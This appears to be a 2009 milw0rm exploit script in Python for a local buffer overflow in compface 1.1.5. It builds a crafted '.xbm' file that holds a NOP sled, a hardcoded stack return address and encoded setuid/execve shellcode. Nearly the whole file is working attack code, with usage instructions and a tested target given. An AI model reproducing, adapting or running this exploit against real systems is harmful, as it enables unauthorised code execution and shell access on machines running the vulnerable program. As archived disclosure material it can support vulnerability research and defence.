#!/usr/bin/python #[*] Exploit : Compface '.xbm' Local Buffer Overflow Exploit #[*] Affected : compface 1.1.5 #[*] Tested on : Ubuntu 9.04 (without stack randomization) #[*] Refer : bid/35863 #[*] Exploit : His0k4 #[*] Use : $compface exploit.xbm out #setuid/execve shellcode for Linux/x86 by Marco Ivaldi #[*] x86/alpha_mixed succeeded with size 124 (iteration=1) shellcode=( "\x89\xe1\xdb\xd1\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32" "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" "\x42\x4a\x42\x37\x50\x58\x50\x31\x49\x4b\x48\x4d\x4d\x50\x42" "\x4a\x44\x4b\x50\x58\x4d\x49\x51\x42\x42\x48\x46\x4f\x46\x4f" "\x44\x33\x45\x38\x42\x48\x46\x4f\x42\x42\x42\x49\x42\x4e\x4b" "\x39\x4d\x33\x51\x42\x50\x53\x4c\x49\x4b\x51\x48\x4d\x4d\x50" "\x45\x5a\x41\x41") payload = "#define noname_width 48\r\n" payload += "#define noname_height 48\r\n" payload += "static\r\n" payload += "\x90"*180 payload += "\x80\xf4\xff\xbf" #$esp+10h payload += "\x90"*16 payload += shellcode payload += "\r\n" payload += "char = {\r\n" try: out_file = open("exploit.xbm","w") out_file.write(payload) out_file.close() print("\nExploit file created!\n") except: print "Error" # milw0rm.com [2009-07-30]

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